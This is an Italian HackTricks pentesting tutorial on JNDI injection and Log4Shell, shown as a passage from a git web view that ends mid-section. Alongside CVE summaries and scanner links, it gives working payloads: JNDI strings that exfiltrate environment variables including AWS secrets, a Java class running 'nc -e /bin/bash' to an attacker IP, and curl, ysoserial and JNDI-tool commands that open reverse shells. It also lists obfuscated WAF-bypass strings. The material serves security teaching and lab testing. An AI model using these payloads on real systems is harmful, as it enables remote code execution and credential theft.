hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

475 lines
33 KiB
Markdown
Raw Normal View History

2022-05-17 22:16:42 +00:00
# JNDI - Java Naming and Directory Interface & Log4Shell
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-02-03 14:45:32 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
2022-04-28 16:01:33 +00:00
</details>
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Informazioni di Base
2023-09-02 23:48:41 +00:00
JNDI, integrato in Java dagli anni '90, funge da servizio di directory, consentendo ai programmi Java di individuare dati o oggetti attraverso un sistema di denominazione. Supporta vari servizi di directory tramite interfacce dei provider di servizi (SPI), consentendo il recupero di dati da diversi sistemi, inclusi oggetti Java remoti. Gli SPI comuni includono CORBA COS, Java RMI Registry e LDAP.
2023-09-02 23:48:41 +00:00
### Riferimento di Denominazione JNDI
2023-09-02 23:48:41 +00:00
Gli oggetti Java possono essere memorizzati e recuperati utilizzando i Riferimenti di Denominazione JNDI, che si presentano in due forme:
2023-09-02 23:48:41 +00:00
* **Indirizzi di Riferimento**: Specifica la posizione di un oggetto (ad es. _rmi://server/ref_), consentendo il recupero diretto dall'indirizzo specificato.
* **Fabbrica Remota**: Fa riferimento a una classe di fabbrica remota. Quando accessata, la classe viene scaricata e istanziata dalla posizione remota.
2021-12-24 01:52:37 +00:00
2024-02-10 13:03:23 +00:00
Tuttavia, questo meccanismo può essere sfruttato, portando potenzialmente al caricamento ed esecuzione di codice arbitrario. Come contromisura:
2021-12-26 17:34:46 +00:00
* **RMI**: `java.rmi.server.useCodeabseOnly = true` di default da JDK 7u21, limitando il caricamento di oggetti remoti. Un Security Manager limita ulteriormente ciò che può essere caricato.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` di default da JDK 6u141, 7u131, 8u121, bloccando l'esecuzione di oggetti Java caricati da remoto. Se impostato su `true`, l'esecuzione remota del codice è possibile senza la supervisione di un Security Manager.
* **CORBA**: Non ha una proprietà specifica, ma il Security Manager è sempre attivo.
2021-12-26 17:34:46 +00:00
Tuttavia, il **Naming Manager**, responsabile della risoluzione dei collegamenti JNDI, manca di meccanismi di sicurezza integrati, consentendo potenzialmente il recupero di oggetti da qualsiasi origine. Ciò costituisce un rischio poiché le protezioni RMI, LDAP e CORBA possono essere aggirate, portando al caricamento di oggetti Java arbitrari o allo sfruttamento di componenti dell'applicazione esistenti (gadget) per eseguire codice dannoso.
2021-12-26 17:34:46 +00:00
2024-02-10 13:03:23 +00:00
Esempi di URL sfruttabili includono:
2021-12-26 17:34:46 +00:00
* _rmi://server-attaccante/bar_
* _ldap://server-attaccante/bar_
* _iiop://server-attaccante/bar_
2021-12-26 17:34:46 +00:00
Nonostante le protezioni, rimangono vulnerabilità, principalmente a causa della mancanza di salvaguardie contro il caricamento di JNDI da fonti non attendibili e della possibilità di aggirare le protezioni esistenti.
2021-12-26 17:34:46 +00:00
2024-02-10 13:03:23 +00:00
### Esempio JNDI
2021-12-26 17:34:46 +00:00
2022-04-22 08:32:18 +00:00
![](<../../.gitbook/assets/image (655) (1) (1).png>)
2021-12-26 17:34:46 +00:00
Anche se hai impostato un **`PROVIDER_URL`**, puoi indicarne uno diverso in una ricerca e verrà accessato: `ctx.lookup("<url-controllato-dall'attaccante>")` ed è ciò che un attaccante sfrutterà per caricare oggetti arbitrari da un sistema controllato da lui.
2021-12-26 17:34:46 +00:00
### Panoramica CORBA
2021-12-26 17:34:46 +00:00
CORBA (Common Object Request Broker Architecture) impiega un **Riferimento a Oggetto Interoperabile (IOR)** per identificare univocamente gli oggetti remoti. Questo riferimento include informazioni essenziali come:
2021-12-26 17:34:46 +00:00
* **ID Tipo**: Identificatore univoco per un'interfaccia.
* **Codebase**: URL per ottenere la classe stub.
2021-12-26 17:34:46 +00:00
È importante notare che CORBA non è intrinsecamente vulnerabile. Garantire la sicurezza coinvolge tipicamente:
2021-12-26 17:34:46 +00:00
* Installazione di un **Security Manager**.
* Configurazione del Security Manager per consentire connessioni a codebase potenzialmente dannose. Ciò può essere realizzato attraverso:
* Autorizzazione del socket, ad esempio, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Autorizzazioni di lettura file, universalmente (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) o per directory specifiche dove potrebbero essere inseriti file dannosi.
2021-12-26 17:34:46 +00:00
2024-02-10 13:03:23 +00:00
Tuttavia, alcune politiche dei fornitori potrebbero essere permissive e consentire queste connessioni per impostazione predefinita.
2024-02-06 14:12:47 +00:00
2024-02-10 13:03:23 +00:00
### Contesto RMI
2024-02-06 14:12:47 +00:00
Per RMI (Remote Method Invocation), la situazione è in parte diversa. Come con CORBA, il download arbitrario di classi è limitato per impostazione predefinita. Per sfruttare RMI, tipicamente sarebbe necessario aggirare il Security Manager, un'impresa rilevante anche in CORBA.
2021-12-26 17:34:46 +00:00
2022-05-17 22:16:42 +00:00
### LDAP
2021-12-26 17:34:46 +00:00
Innanzitutto, è necessario distinguere tra una Ricerca e una Consultazione.\
2024-02-10 13:03:23 +00:00
Una **ricerca** utilizzerà un URL come `ldap://localhost:389/o=JNDITutorial` per trovare l'oggetto JNDITutorial da un server LDAP e **recuperarne gli attributi**.\
Una **consultazione** è destinata ai **servizi di denominazione** poiché vogliamo ottenere **qualunque cosa sia legata a un nome**.
2021-12-26 17:34:46 +00:00
2024-02-10 13:03:23 +00:00
Se la ricerca LDAP è stata invocata con **SearchControls.setReturningObjFlag() con `true`, l'oggetto restituito verrà ricostruito**.
2021-12-26 17:34:46 +00:00
2024-02-10 13:03:23 +00:00
Pertanto, ci sono diversi modi per attaccare queste opzioni.\
Un **attaccante può avvelenare i record LDAP introducendo payload** su di essi che verranno eseguiti nei sistemi che li raccolgono (molto utile per **compromettere decine di macchine** se si ha accesso al server LDAP). Un altro modo per sfruttare ciò sarebbe eseguire un **attacco MitM in una ricerca LDAP** ad esempio.
2021-12-26 17:34:46 +00:00
Nel caso in cui si possa **far risolvere un'applicazione un URL JNDI LDAP**, è possibile controllare l'LDAP che verrà cercato e potresti inviare l'exploit indietro (log4shell).
2021-12-26 17:34:46 +00:00
#### Sfruttamento della deserializzazione
2021-12-26 17:34:46 +00:00
2022-03-21 17:37:28 +00:00
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
2021-12-26 17:34:46 +00:00
2024-02-10 13:03:23 +00:00
L'**exploit è serializzato** e verrà deserializzato.\
Nel caso in cui `trustURLCodebase` sia `true`, un attaccante può fornire le proprie classi nella codebase, altrimenti dovrà sfruttare gadget nel classpath.
2021-12-26 17:34:46 +00:00
#### Sfruttamento del Riferimento JNDI
2021-12-26 17:34:46 +00:00
È più semplice attaccare questo LDAP utilizzando **riferimenti JavaFactory**:
2021-12-26 17:34:46 +00:00
2022-07-11 08:44:04 +00:00
![](<../../.gitbook/assets/image (660) (1) (1).png>)
2021-12-24 01:52:37 +00:00
## Vulnerabilità Log4Shell
2021-12-24 01:52:37 +00:00
La vulnerabilità è introdotta in Log4j perché supporta una [**sintassi speciale**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) nella forma `${prefix:name}` dove `prefix` è uno dei diversi [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) dove `name` dovrebbe essere valutato. Ad esempio, `${java:version}` è la versione attualmente in esecuzione di Java.
2021-12-24 01:52:37 +00:00
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) ha introdotto una funzionalità di `jndi` Lookup. Questa funzionalità consente il recupero di variabili tramite JNDI. Tipicamente, la chiave è automaticamente prefissata con `java:comp/env/`. Tuttavia, se la chiave stessa include un **":"**, questo prefisso predefinito non viene applicato.
2021-12-24 01:52:37 +00:00
Con un **: presente** nella chiave, come in `${jndi:ldap://esempio.com/a}`, non c'è **nessun prefisso** e il **server LDAP viene interrogato per l'oggetto**. E questi Lookups possono essere utilizzati sia nella configurazione di Log4j che quando vengono registrate le righe.
2021-12-24 01:52:37 +00:00
Pertanto, l'unica cosa necessaria per ottenere RCE è una **versione vulnerabile di Log4j che elabora informazioni controllate dall'utente**. E poiché questa è una libreria ampiamente utilizzata dalle applicazioni Java per registrare informazioni (inclusi le applicazioni esposte su Internet), era molto comune avere log4j che registrava ad esempio gli header HTTP ricevuti come l'User-Agent. Tuttavia, log4j **non viene utilizzato solo per registrare informazioni HTTP ma qualsiasi input** e dati indicati dallo sviluppatore.
2024-02-10 13:03:23 +00:00
## Panoramica delle CVE correlate a Log4Shell
2021-12-24 01:52:37 +00:00
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critico]**
Questa vulnerabilità è una grave **flaw di deserializzazione non attendibile** nel componente `log4j-core`, che interessa le versioni da 2.0-beta9 a 2.14.1. Consente l'**esecuzione remota di codice (RCE)**, consentendo agli attaccanti di prendere il controllo dei sistemi. Il problema è stato segnalato da Chen Zhaojun del team di sicurezza di Alibaba Cloud e interessa vari framework Apache. La correzione iniziale nella versione 2.15.0 era incompleta. Sono disponibili regole Sigma per la difesa ([Regola 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Regola 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critico]**
Inizialmente classificata come bassa ma successivamente aggiornata a critica, questa CVE è una falla di **Denial of Service (DoS)** derivante da una correzione incompleta nella versione 2.15.0 per la CVE-2021-44228. Interessa configurazioni non predefinite, consentendo agli attaccanti di causare attacchi DoS attraverso payload articolati. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) mostra un metodo di bypass. Il problema è risolto nelle versioni 2.16.0 e 2.12.2 rimuovendo i pattern di ricerca dei messaggi e disabilitando JNDI per impostazione predefinita.
2024-02-06 14:12:47 +00:00
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Alto]**
2024-02-06 14:12:47 +00:00
Interessando le **versioni Log4j 1.x** in configurazioni non predefinite che utilizzano `JMSAppender`, questa CVE è una grave falla di deserializzazione non attendibile. Non è disponibile alcuna correzione per il ramo 1.x, che è fuori produzione, e si consiglia di eseguire l'aggiornamento a `log4j-core 2.17.0`.
2024-02-06 14:12:47 +00:00
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderato]**
2024-02-06 14:12:47 +00:00
Questa vulnerabilità interessa il **framework di logging Logback**, successore di Log4j 1.x. In precedenza ritenuto sicuro, il framework è stato trovato vulnerabile e sono state rilasciate nuove versioni (1.3.0-alpha11 e 1.2.9) per affrontare il problema.
### **CVE-2021-45105** **\[Alto]**
Log4j 2.16.0 contiene una falla DoS, che ha portato al rilascio di `log4j 2.17.0` per correggere la CVE. Ulteriori dettagli sono disponibili nel [report](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) di BleepingComputer.
2024-02-06 14:12:47 +00:00
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
Interessando la versione 2.17 di log4j, questa CVE richiede all'attaccante di controllare il file di configurazione di log4j. Coinvolge potenziali esecuzioni di codice arbitrario tramite un JDBCAppender configurato. Ulteriori dettagli sono disponibili nel [post del blog di Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
2021-12-24 01:52:37 +00:00
2024-02-10 13:03:23 +00:00
## Sfruttamento di Log4Shell
2021-12-24 01:52:37 +00:00
2024-02-10 13:03:23 +00:00
### Scoperta
2021-12-24 01:52:37 +00:00
Questa vulnerabilità è molto facile da scoprire se non protetta perché invierà almeno una **richiesta DNS** all'indirizzo che indichi nel tuo payload. Pertanto, payload come:
2021-12-24 01:52:37 +00:00
2024-02-10 13:03:23 +00:00
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (utilizzando [canarytokens.com](https://canarytokens.org/generate))
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (utilizzando [interactsh](https://github.com/projectdiscovery/interactsh))
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (utilizzando Burp Suite)
* `${jndi:ldap://2j4ayo.dnslog.cn}` (utilizzando [dnslog](http://dnslog.cn))
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` utilizzando (utilizzando [huntress](https://log4shell.huntress.com))
2021-12-24 01:52:37 +00:00
Nota che **anche se viene ricevuta una richiesta DNS ciò non significa che l'applicazione sia sfruttabile** (o addirittura vulnerabile), sarà necessario provare a sfruttarla.
2021-12-24 01:52:37 +00:00
{% hint style="info" %}
Ricorda che per **sfruttare la versione 2.15** è necessario aggiungere il **bypass del controllo localhost**: ${jndi:ldap://**127.0.0.1#**...}
2021-12-24 01:52:37 +00:00
{% endhint %}
#### **Scoperta Locale**
2021-12-24 07:57:58 +00:00
Cerca le **versioni locali vulnerabili** della libreria con:
2021-12-24 07:57:58 +00:00
```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
```
2024-02-10 13:03:23 +00:00
### **Verifica**
2021-12-24 07:57:58 +00:00
Alcune delle piattaforme elencate in precedenza ti permetteranno di inserire dei dati variabili che verranno registrati quando richiesti.\
Questo può essere molto utile per 2 cose:
2021-12-24 01:52:37 +00:00
2024-02-10 13:03:23 +00:00
* Per **verificare** la vulnerabilità
* Per **esfiltrare informazioni** sfruttando la vulnerabilità
2021-12-24 01:52:37 +00:00
Ad esempio, potresti richiedere qualcosa del genere:\
o come `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** e se viene ricevuta una **richiesta DNS con il valore della variabile di ambiente**, sai che l'applicazione è vulnerabile.
2021-12-24 01:52:37 +00:00
Altre informazioni che potresti provare a **leakare**:
2021-12-26 01:35:57 +00:00
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
```
2024-02-10 13:03:23 +00:00
### Informazioni RCE
2021-12-26 01:35:57 +00:00
{% hint style="info" %}
Gli host che eseguono versioni JDK superiori a 6u141, 7u131 o 8u121 sono protetti dal vettore di attacco del caricamento di classi LDAP. Ciò è dovuto alla disattivazione predefinita di `com.sun.jndi.ldap.object.trustURLCodebase`, che impedisce a JNDI di caricare un codebase remoto tramite LDAP. Tuttavia, è fondamentale notare che queste versioni **non sono protette dal vettore di attacco alla deserializzazione**.
2024-02-06 14:12:47 +00:00
Per gli attaccanti che mirano a sfruttare queste versioni JDK più recenti, è necessario sfruttare un **gadget fidato** all'interno dell'applicazione Java. Strumenti come ysoserial o JNDIExploit vengono spesso utilizzati a questo scopo. Al contrario, sfruttare versioni JDK inferiori è relativamente più semplice poiché è possibile manipolare tali versioni per caricare ed eseguire classi arbitrarie.
2021-12-26 01:35:57 +00:00
Per **ulteriori informazioni** (_come limitazioni sui vettori RMI e CORBA_) **controlla la sezione precedente del riferimento alla denominazione JNDI** o [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
2021-12-26 01:35:57 +00:00
{% endhint %}
2024-02-10 13:03:23 +00:00
### RCE - Marshalsec con payload personalizzato
2021-12-26 01:35:57 +00:00
Puoi testare questo nella **casella THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
2021-12-26 01:35:57 +00:00
Utilizza lo strumento [**marshalsec**](https://github.com/mbechler/marshalsec) (versione jar disponibile [**qui**](https://github.com/RandomRobbieBF/marshalsec-jar)). Questo approccio stabilisce un server di rinvio LDAP per reindirizzare le connessioni a un server HTTP secondario dove sarà ospitato lo sfruttamento:
2021-12-26 01:35:57 +00:00
```bash
2022-05-17 22:16:42 +00:00
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
2021-12-26 01:35:57 +00:00
```
Per richiedere al bersaglio di caricare un codice shell inversa, crea un file Java chiamato `Exploit.java` con il seguente contenuto:
2021-12-26 01:35:57 +00:00
```java
public class Exploit {
2024-02-10 13:03:23 +00:00
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
2021-12-26 01:35:57 +00:00
}
```
2024-02-10 13:03:23 +00:00
Compila il file Java in un file di classe usando: `javac Exploit.java -source 8 -target 8`. Successivamente, avvia un **server HTTP** nella directory contenente il file di classe con: `python3 -m http.server`. Assicurati che il **server LDAP marshalsec** faccia riferimento a questo server HTTP.
2021-12-26 01:35:57 +00:00
2024-02-10 13:03:23 +00:00
Scatena l'esecuzione della classe di exploit sul server web suscettibile inviando un payload simile a:
2021-12-26 01:35:57 +00:00
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**Nota:** Questo exploit si basa sulla configurazione di Java per consentire il caricamento remoto del codebase tramite LDAP. Se ciò non è permesso, considera l'exploit di una classe attendibile per l'esecuzione di codice arbitrario.
2021-12-24 01:52:37 +00:00
2022-05-17 22:16:42 +00:00
### RCE - **JNDIExploit**
2021-12-25 01:37:23 +00:00
{% hint style="info" %}
Nota che per qualche motivo l'autore ha rimosso questo progetto da GitHub dopo la scoperta di log4shell. Puoi trovare una versione memorizzata nella cache su [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) ma se desideri rispettare la decisione dell'autore, utilizza un metodo diverso per sfruttare questa vulnerabilità.
2021-12-25 01:37:23 +00:00
Inoltre, non è possibile trovare il codice sorgente nel wayback machine, quindi analizza il codice sorgente o esegui il file jar sapendo di non sapere cosa stai eseguendo.
2021-12-25 01:37:23 +00:00
{% endhint %}
Per questo esempio, puoi semplicemente eseguire questo **server web vulnerabile a log4shell** sulla porta 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_nel README troverai come eseguirlo_). Questa app vulnerabile registra con una versione vulnerabile di log4shell il contenuto dell'intestazione della richiesta HTTP _X-Api-Version_.
2021-12-25 01:37:23 +00:00
2024-02-10 13:03:23 +00:00
Successivamente, puoi scaricare il file jar di **JNDIExploit** ed eseguirlo con:
2021-12-26 01:35:57 +00:00
```bash
2022-05-17 22:16:42 +00:00
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
2021-12-25 01:37:23 +00:00
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
```
Dopo aver letto il codice per solo un paio di minuti, in _com.feihong.ldap.LdapServer_ e _com.feihong.ldap.HTTPServer_ puoi vedere come vengono creati **i server LDAP e HTTP**. Il server LDAP capirà quale payload deve essere servito e reindirizzerà la vittima al server HTTP, che eseguirà l'exploit.\
2024-02-10 13:03:23 +00:00
In _com.feihong.ldap.gadgets_ puoi trovare **alcuni gadget specifici** che possono essere utilizzati per eseguire l'azione desiderata (potenzialmente eseguire codice arbitrario). E in _com.feihong.ldap.template_ puoi vedere le diverse classi di template che **genereranno gli exploit**.
2021-12-25 01:37:23 +00:00
Puoi visualizzare tutti gli exploit disponibili con **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Alcuni utili sono:
2021-12-25 01:37:23 +00:00
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
Quindi, nel nostro esempio, abbiamo già quell'applicazione vulnerabile Docker in esecuzione. Per attaccarla:
2021-12-25 01:37:23 +00:00
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
```
Quando invii gli attacchi, vedrai alcuni output nel terminale dove hai eseguito **JNDIExploit-1.2-SNAPSHOT.jar**.
2021-12-25 01:37:23 +00:00
2024-02-10 13:03:23 +00:00
**Ricorda di controllare `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` per altre opzioni di sfruttamento. Inoltre, nel caso ne avessi bisogno, puoi cambiare la porta dei server LDAP e HTTP.**
2021-12-25 01:37:23 +00:00
2022-05-17 22:16:42 +00:00
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
2021-12-25 01:37:23 +00:00
2024-02-10 13:03:23 +00:00
In modo simile all'exploit precedente, puoi provare a utilizzare [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) per sfruttare questa vulnerabilità.\
Puoi generare gli URL da inviare alla vittima eseguendo:
2021-12-25 01:37:23 +00:00
```bash
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_L'attacco utilizzando un oggetto Java generato su misura funzionerà nei laboratori come la **stanza solare THM**. Tuttavia, questo non funzionerà generalmente (poiché di default Java non è configurato per caricare una codebase remota utilizzando LDAP) penso perché non sta abusando di una classe fidata per eseguire codice arbitrario._
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) è un altro strumento per generare **collegamenti JNDI funzionanti** e fornire servizi di background avviando server RMI, server LDAP e server HTTP.\
2021-12-25 01:37:23 +00:00
2022-05-17 22:16:42 +00:00
### RCE - ysoserial & JNDI-Exploit-Kit
2021-12-25 01:37:23 +00:00
Questa opzione è davvero utile per attaccare **versioni di Java configurate per fidarsi solo di classi specificate e non di tutti**. Pertanto, **ysoserial** sarà utilizzato per generare **serializzazioni di classi fidate** che possono essere utilizzate come gadget per **eseguire codice arbitrario** (_la classe fidata abusata da ysoserial deve essere utilizzata dal programma Java vittima affinché l'exploit funzioni_).
2021-12-24 01:52:37 +00:00
Utilizzando **ysoserial** o [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) è possibile creare l'exploit di deserializzazione che verrà scaricato da JNDI:
2021-12-24 01:52:37 +00:00
```bash
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
```
Usa [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) per generare **collegamenti JNDI** dove l'exploit sarà in attesa di connessioni dalle macchine vulnerabili. Puoi servire **diversi exploit che possono essere generati automaticamente** dal JNDI-Exploit-Kit o anche i tuoi **payload di deserializzazione personalizzati** (generati da te o da ysoserial).
2021-12-24 01:52:37 +00:00
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
```
2022-04-25 12:04:04 +00:00
![](<../../.gitbook/assets/image (642) (1) (1).png>)
2021-12-24 01:52:37 +00:00
Ora puoi facilmente utilizzare un link JNDI generato per sfruttare la vulnerabilità e ottenere una **shell inversa** inviando a una versione vulnerabile di log4j: **`${ldap://10.10.14.10:1389/generated}`**
2021-12-24 01:52:37 +00:00
2022-05-17 22:16:42 +00:00
### Bypasses
2021-12-24 01:52:37 +00:00
```java
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
2021-12-26 01:35:57 +00:00
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
2021-12-24 01:52:37 +00:00
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
```
2024-02-10 13:03:23 +00:00
### Scanner Automatici
2021-12-24 01:52:37 +00:00
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
* [https://github.com/silentsignal/burp-log4shell](https://github.com/silentsignal/burp-log4shell)
* [https://github.com/cisagov/log4j-scanner](https://github.com/cisagov/log4j-scanner)
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
2024-02-10 13:03:23 +00:00
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Trova librerie locali vulnerabili
2021-12-24 01:52:37 +00:00
### Laboratori per il Test
2021-12-24 01:52:37 +00:00
* [**Macchina HTB LogForge**](https://app.hackthebox.com/tracks/UHC-track)
* [**Stanza Solar di Try Hack Me**](https://tryhackme.com/room/solar)
2022-02-02 15:35:20 +00:00
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
2021-12-24 01:52:37 +00:00
## Sfruttamento Post-Log4Shell
2022-08-10 14:32:58 +00:00
In questo [**resoconto CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) è ben spiegato come sia **possibile** **abusare** alcune funzionalità di **Log4J**.
2022-08-10 14:32:58 +00:00
2024-02-10 13:03:23 +00:00
La [**pagina di sicurezza**](https://logging.apache.org/log4j/2.x/security.html) di Log4j contiene alcune frasi interessanti:
2022-08-10 14:32:58 +00:00
